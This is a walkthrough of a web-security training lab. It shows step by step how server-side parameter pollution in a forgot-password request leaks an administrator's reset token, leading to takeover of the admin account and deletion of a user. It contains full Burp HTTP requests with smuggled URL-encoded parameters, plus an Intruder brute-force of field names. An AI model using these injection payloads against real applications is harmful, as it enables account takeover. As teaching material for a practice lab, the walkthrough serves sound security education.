Lab Exploiting server side parameter pollution in a query string
After starting the exercise, the shop should look like the following image.

Since we do not have a user in this exercise, we will first try to reset the administrator's password. To do this, we click on the link My account. The login form opens, where we click on the link Forgot password?.


We enter administrator
as the user name and submit the form.

After sending, we receive a message that an email has been sent to the user *****@normal-user.net
. Since we do not have access to an email client, we cannot open this email.

Now we will switch to Burp Suite and look at the HTTP history of the Burp Proxy. Here we see the request POST /forgot-password
and the JavaScript file /static/js/forgotPassword.js
.

We send the request POST /forgot-password
to Burp Repeater. To do this, we move the mouse over the request and right-click. In the context menu, we select the option Send to Repeater.

In Burp Repeater, we send this request again to confirm that it returns the same response.

We now adjust the request so that a user who does not exist in the application is selected. To do this, we replace the value of the username
parameter with administratorx
. The request is shown in the following code snippet (line 20).
POST /forgot-password HTTP/2
Host: 0a3800cf03e2bf2480b6ad61004300de.web-security-academy.net
Cookie: session=SSzNj3doTsvxgdqLOaDEbhvfRZaBNouP
Content-Length: 60
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a3800cf03e2bf2480b6ad61004300de.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3800cf03e2bf2480b6ad61004300de.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
csrf=AmnkDez6wWwjo6ffr9eAn0I9bvLdXEys&username=administratorx
After sending the request, we receive an HTTP/2 400 Bad Request
response. This tells us that the username does not exist.
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 61
{"type":"ClientError","code":400,"error":"Invalid username."}
Now let's try adding a second parameter-value pair (&x=y
) so that our request looks like this. Note that the value administrator
is used again and no longer administratorx
(line 20).
POST /forgot-password HTTP/2
Host: 0a3800cf03e2bf2480b6ad61004300de.web-security-academy.net
Cookie: session=SSzNj3doTsvxgdqLOaDEbhvfRZaBNouP
Content-Length: 61
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a3800cf03e2bf2480b6ad61004300de.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3800cf03e2bf2480b6ad61004300de.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
csrf=AmnkDez6wWwjo6ffr9eAn0I9bvLdXEys&username=administrator%26x=y
Note that the error message ‘Parameter is not supported.’ is displayed here. This could mean that the internal API interpreted &x=y
as a separate parameter instead of part of the user name. Let's now use a URL-encoded #
to see if this shortens the query string.
POST /forgot-password HTTP/2
Host: 0a3800cf03e2bf2480b6ad61004300de.web-security-academy.net
Cookie: session=SSzNj3doTsvxgdqLOaDEbhvfRZaBNouP
Content-Length: 61
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a3800cf03e2bf2480b6ad61004300de.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3800cf03e2bf2480b6ad61004300de.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
csrf=AmnkDez6wWwjo6ffr9eAn0I9bvLdXEys&username=administrator%23
Now we receive the message ‘Field not specified.’ This means that the server-side query could contain an additional parameter called field
, which was removed by the character #
. Let's add a parameter called field
to our query. To do this, we append &field=x#
(URL-encoded) to our query. We use the parameter #
to truncate any additional values that may still be in the query. The finished request looks like this (line 20).
POST /forgot-password HTTP/2
Host: 0a90006104bdb58080cd0dc200b50034.web-security-academy.net
Cookie: session=1mHbd2YX3gxeR4vZNrkjRbQOG0CLzQqo
Content-Length: 63
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a90006104bdb58080cd0dc200b50034.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a90006104bdb58080cd0dc200b50034.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
csrf=lEJMYuI3sE1KNNPU6FAk3m2801dwX8IY&username=administrator%26field=x%23
If we now send this request to the application, we receive the message ‘Invalid field’. This indicates that the server-side application can recognise the injected field parameter.
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 58
{
"type":"ClientError",
"code":400,
"error":"Invalid field."
}
We may be able to guess the correct value of the parameter field
using brute force. We now send the request to Burp Intruder. To do this, we move the mouse over the request and right-click. In the context menu, we select the option Send to Intruder. The procedure is the same as when sending a request to the Burp Repeater.
In Burp Intruder, we highlight the x
in &field=x#
and click the Add § button. In the Payloads section, under Payload configuration, we click on the Add from list drop-down field. Here we select the Server-side variable names list.
Burp Suite Community Version The community version of Burp requires a little longer for the attack.

The attack is started by clicking on the Start attack button. Once the attack has been completed, we sort the output according to the HTTP status code. To do this, we click on the Status code column. Two variables were found, username
and email
.

Let's now return to the Burp Repeater and adjust our request. In the query &field=x#
, we change x
to email
. The query now looks like this: &field=email#
.
POST /forgot-password HTTP/2
Host: 0a6b005e044243e08057171f00a80094.web-security-academy.net
Cookie: session=0VKM19T4J3HZPDNaOnpXcdfOZbyPvJtl
Content-Length: 73
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a6b005e044243e08057171f00a80094.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6b005e044243e08057171f00a80094.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
csrf=IKhxwA01pNPK71mncHyJMhNTUnEfMyvx&username=administrator%26field=email%23
When we send the request, we receive a response with information about emails. This indicates that email
is a valid field type.
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49
{
"type":"email",
"result":"*****@normal-user.net"
}
We now switch to Burp Proxy and open the HTTP history. Here we search for the request GET /static/js/forgotPassword.js
. If we look at the JavaScript file forgotPassword.js
, we see the parameter reset_token
, which is used by the password reset function.

Back in Burp Repeater, we now change the value of the parameter field
from email
to reset_token
. The request should look like this:
POST /forgot-password HTTP/2
Host: 0a6b005e044243e08057171f00a80094.web-security-academy.net
Cookie: session=0VKM19T4J3HZPDNaOnpXcdfOZbyPvJtl
Content-Length: 77
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a6b005e044243e08057171f00a80094.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6b005e044243e08057171f00a80094.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
csrf=IKhxwA01pNPK71mncHyJMhNTUnEfMyvx&username=administrator%26field=reset_token%23
If we send this request to the application, we receive a password reset token.
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 66
{
"type":"reset_token",
"result":"purjzn2dba7jjkflfsj1pbey2h9sytl2"
}
Now switch to the browser and enter the following address:
https://0a6b005e044243e08057171f00a80094.web-security-academy.net/forgot-password?reset_token=purjzn2dba7jjkflfsj1pbey2h9sytl2
A page opens where we can assign a new password for the administrator.

Once we have assigned a new password, we can now log in to the application. In our account, we click on the Admin panel link.

To be able to delete the user Carlos, we now click on Delete.

The exercise was successfully completed.

Video solution
Last updated